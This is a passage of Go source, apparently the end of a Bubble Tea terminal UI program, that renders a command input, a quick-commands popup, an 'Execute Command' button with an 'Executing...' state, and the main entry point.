	b.WriteString("\n")
	b.WriteString(m.commandInput.View())
	b.WriteString("\n")

	// Quick commands popup
	if m.showQuickCmds {
		b.WriteString("\n")
		for i, cmd := range m.quickCmds {
			if i == m.quickCmdIndex {
				b.WriteString(activeTabStyle.Render(fmt.Sprintf("> %s", cmd)))
			} else {
				b.WriteString(fmt.Sprintf("  %s", cmd))
			}
			b.WriteString("\n")
		}
	}

	// Execute command button
	execCmdBtn := "[ Execute Command ]"
	if m.focusIndex == 3 {
		execCmdBtn = activeTabStyle.Render("[ Execute Command ]")
	}
	if m.scanning {
		execCmdBtn = warningStyle.Render("[ Executing... ]")
	}
	b.WriteString("\n")
	b.WriteString(execCmdBtn)

	return b.String()
}

func main() {
	p := tea.NewProgram(initialModel(), tea.WithAltScreen())
	if _, err := p.Run(); err != nil {
		fmt.Printf("Error: %v\n", err)
	}
}